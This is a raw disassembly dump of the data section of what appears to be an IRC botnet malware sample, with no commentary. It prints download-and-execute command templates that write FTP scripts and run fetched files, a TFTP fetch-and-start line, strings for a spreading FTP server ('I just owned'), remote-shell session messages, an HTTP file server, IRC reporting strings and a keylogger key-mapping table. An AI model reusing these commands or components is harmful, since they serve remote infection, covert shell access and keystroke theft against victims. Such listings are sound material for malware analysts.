		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 10h
aCmdKEchoOpen_0	db 'cmd /k echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40E71F+92o
					; sub_418C7F+90o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
aSystemrootSyst	db '%systemroot%\system32\cmd.exe',0 ; DATA XREF: .packed:0040EB69o
					; .packed:0040EB7Cr
		align 4
aExit		db 'exit',0
		align 4
word_4361DC	dw 1			; DATA XREF: sub_40E8C5+24r
					; .packed:0040EA19r
		align 10h
word_4361E0	dw 4			; DATA XREF: sub_40E8C5+10r
		align 4
aTftpISGetSStar	db 'tftp -i %s get %s& start %s& exit',0 ; DATA XREF: .packed:0040EBF6o
		align 4
aC		db '%c',0               ; DATA XREF: .packed:0040EB84o
					; .packed:0040EC22o
		align 4
dword_43620C	dd 0DFFh	dword_436210	dd 0EBFFh	dword_436214	dd 201h		dword_436218	dd 20424652h, 2E333030h, 0A383030h, 0dword_436228	dd 2E646D63h, 657865h					; sub_41A413+21o
aEchoOpenSDOEch	db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o'
					; DATA XREF: sub_40EF9D+23Eo
		db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40F23F+5CAo
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_40F23F+5A9o
		align 10h
aFtpIJustOwnedS	db '[FTP]: I just owned: %s',0 ; DATA XREF: sub_40F23F+558o
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40F23F+546o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_40F23F+4EBo
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_40F23F+4D3o
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40F23F+4C3o
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_40F23F+4B2o
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_40F23F+47Fo
		align 4
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40F23F+43Bo
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_40F23F+402o
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40F23F+3D4o
		align 10h
aList_0		db 'LIST',0             ; DATA XREF: sub_40F23F+3C1o
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_40F23F+386o
		align 4
aPasv		db 'PASV',0             ; DATA XREF: sub_40F23F+373o
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40F23F+363o
aI_0:					; DATA XREF: sub_40F23F+34Fo
					; .packed:0043A940o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40F23F+328o
aA_0:					; DATA XREF: sub_40F23F+314o
					; .packed:0043A94Co
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: sub_40F23F+2FDo
					; sub_40F23F+338o
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40F23F+2EDo
		align 4
off_436454	dd offset dword_445750	; DATA XREF: sub_40F23F+2D9o
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40F23F+2C9o
		align 4
aRest		db 'REST',0             ; DATA XREF: sub_40F23F+2B5o
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_40F23F+2A5o
		align 4
aSyst		db 'SYST',0             ; DATA XREF: sub_40F23F+291o
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40F23F+281o
		align 4
aPass		db 'PASS',0             ; DATA XREF: sub_40F23F+26Do
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_40F23F+25Do
		align 4
aUser_1		db 'USER',0             ; DATA XREF: sub_40F23F+248o
		align 4
aSS_0		db '%s %s',0            ; DATA XREF: sub_40F23F+237o
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40F23F+1B9o
		align 4
unk_4364EC	db  2Dh	; -		; DATA XREF: sub_40F956+3D3o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
asc_436514	db 0Dh,0Ah,0		; DATA XREF: sub_40F956+2BEo
					; sub_41ACA2+F2o
		align 4
aGet_0		db 'GET ',0             ; DATA XREF: sub_40F956+258o
		align 10h
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FD8C+F0o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FD8C+D3o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40FD8C+97o
					; sub_41B1FC+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FD8C+83o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40FD8C:loc_40FDF7o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40FD8C+64o
		align 4
unk_436734	db  2Dh	; -		; DATA XREF: sub_40FF08+27Co
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_37	db ' failed to start worker thread, error %d',0
		align 4
unk_43676C	db  2Dh	; -		; DATA XREF: sub_40FF08+20Ao
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 10h
asc_4367A0:				; DATA XREF: sub_40FF08+156o
		unicode	0, <*>,0
aS_5		db '\%s',0              ; DATA XREF: sub_40FF08+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_4101B7+64Do
		align 10h
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4101B7+638o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_4101B7+61Do
		align 4
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_4101B7+58Eo
		align 8
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_4101B7+566o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_4101B7:loc_4106DAo
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_4101B7+51Co
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_4101B7+476o
		align 10h
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_4101B7+439o
		align 10h
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_4101B7+406o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_4101B7:loc_410584o
		align 10h
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_4101B7+3C6o
		align 10h
aSS_1		db '%s%s/',0            ; DATA XREF: sub_4101B7+379o
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4101B7+335o
					; sub_4101B7+48Bo
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_4101B7+308o
		align 4
aS_0		db '<%s>',0             ; DATA XREF: sub_4101B7+2DEo
					; sub_4101B7+418o
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_4101B7+2B4o
aAm		db 'AM',0               ; DATA XREF: sub_4101B7+293o
		align 10h
aPm		db 'PM',0               ; DATA XREF: sub_4101B7+284o
		align 4
a__		db '..',0               ; DATA XREF: sub_4101B7+231o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4101B7+1BFo
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4101B7+146o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4101B7+12Ao
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4101B7+F6o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_4101B7+ACo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_4101B7+77o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4101B7+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410923+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
unk_436C50	db  2Dh	; -		; DATA XREF: sub_410A44+14Bo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_38	db 'Failed to start client thread, error: <%d>.',0
		align 10h
unk_436C90	db  2Dh	; -		; DATA XREF: sub_410A44+E9o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnecti	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_436CD8	db  2Dh	; -		; DATA XREF: sub_410BD4+157o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_39	db 'Failed to start connection thread, error: <%d>.',0
unk_436D18	db  2Dh	; -		; DATA XREF: sub_410BD4+E1o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_0	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_436D5C	db  2Dh	; -		; DATA XREF: sub_410E59+1E9o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
unk_436D88	db  2Dh	; -		; DATA XREF: sub_410E59+1C2o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 4
unk_436DB4	db  2Dh	; -		; DATA XREF: sub_410E59+1A2o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: sub_410E59+172o
		align 10h
unk_436DF0	db  2Dh	; -		; DATA XREF: sub_410E59+E1o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 4
unk_436E1C	db  2Dh	; -		; DATA XREF: sub_41105E:loc_411090o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
unk_436E48	db  2Dh	; -		; DATA XREF: sub_41109F+1Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aLoginRejectedR	db '- Login rejected, Remote user: <%s@%s>.',0
		align 10h
unk_436E80	db  2Dh	; -		; DATA XREF: sub_4110CE+218o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorServerFai	db '- Error: server failed, returned: <%d>.',0
		align 4
unk_436EB8	db  2Dh	; -		; DATA XREF: sub_4110CE+1E8o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_40	db '- Failed to start client thread, error: <%d>.',0
		align 8
unk_436EF8	db  2Dh	; -		; DATA XREF: sub_4110CE+177o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aClientConnec_1	db '- Client connection from IP: %s:%d, Server thread: %d.',0
unk_436F3C	db  2Dh	; -		; DATA XREF: sub_4110CE+106o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aReadyAndWaitin	db '- Ready and waiting for incoming connections.',0
		align 4
unk_436F78	db  2Dh	; -		; DATA XREF: sub_4110CE+70o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToInstal	db '- Failed to install control-C handler, error: <%d>.',0
		align 4
unk_436FBC	db  2Dh	; -		; DATA XREF: sub_4110CE+3Do
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 4
unk_436FE8	db  2Dh	; -		; DATA XREF: sub_411355+E2o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 10h
unk_437020	db  2Dh	; -		; DATA XREF: sub_411355+59o
					; sub_411355+8Fo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_437068	db  2Dh	; -		; DATA XREF: sub_4114AA+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_437090	db  2Dh	; -		; DATA XREF: sub_4114AA+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 10h
unk_4370D0	db  2Dh	; -		; DATA XREF: sub_4114AA+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_437110	db  2Dh	; -		; DATA XREF: sub_4115A3+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_4115A3+8Co
		align 10h
unk_437150	db  2Dh	; -		; DATA XREF: sub_41167C+8Do
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aSessionreadshe	db '- SessionReadShellThread exited, error: <%ld>.',0
dword_43718C	dd 234032Dh, 6B636F73h,	3023473haFailedToSta_41	db '- Failed to start server on Port %d.',0
		align 10h
dword_4371C0	dd 234032Dh, 6B636F73h,	3023473haFailedToSta_42	db '- Failed to start client thread, error: <%d>.',0
		align 10h
dword_437200	dd 234032Dh, 6B636F73h,	3023473haClientConnec_2	db '- Client connection from IP: %s:%d, Server thread: %d.',0
		align 8
dword_437248	dd 234032Dh, 6B636F73h,	3023473haErrorFailedToC	db '- Error: Failed to connect to target, returned: <%d>.',0
		align 4
dword_43728C	dd 234032Dh, 6B636F73h,	3023473haErrorFailedToO	db '- Error: Failed to open socket(), returned: <%d>.',0
		align 4
dword_4372CC	dd 234032Dh, 6B636F73h,	3023473haAuthentication	db '- Authentication failed. Remote userid: %s != %s.',0
		align 4
dword_43730C	dd 4000500h, 7868746Bh,	0aTftpTransferCo	db 'Tftp transfer complete to: %s',0 ; DATA XREF: sub_411DF4+3BEo
		align 4
aTftpTransferSt	db 'Tftp transfer started to: %s',0 ; DATA XREF: sub_411DF4+2CDo
		align 4
		dw 8
		unicode	0, <>,0
aB_0:					; DATA XREF: sub_41234A:loc_41242Do
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h
dword_437A8C	dd 38h,	38000000h, 2 dup(0)		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_437AC4	dd 234032Dh, 6C79656Bh,	302676Fh, 7325202Dh, 0aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_41226B+86o
		align 4
asc_437AF4:				; DATA XREF: sub_41226B+2Co
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0 ; DATA XREF: sub_41234A+21Co
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_41234A+1D9o
		align 4
aSChangedWindow	db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_41234A+8Fo
		align 10h
off_437B40	dd offset dword_4383B8	; DATA XREF: sub_41261F+2B5r
		dd offset off_4383B4
		dd offset aFtp		; "FTP"
		dd offset aHttp_0	; "HTTP"
dword_437B50	dd 6F6C2E3Ah, 6E6967h, 3 dup(0)dword_437B64	dd 0				dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
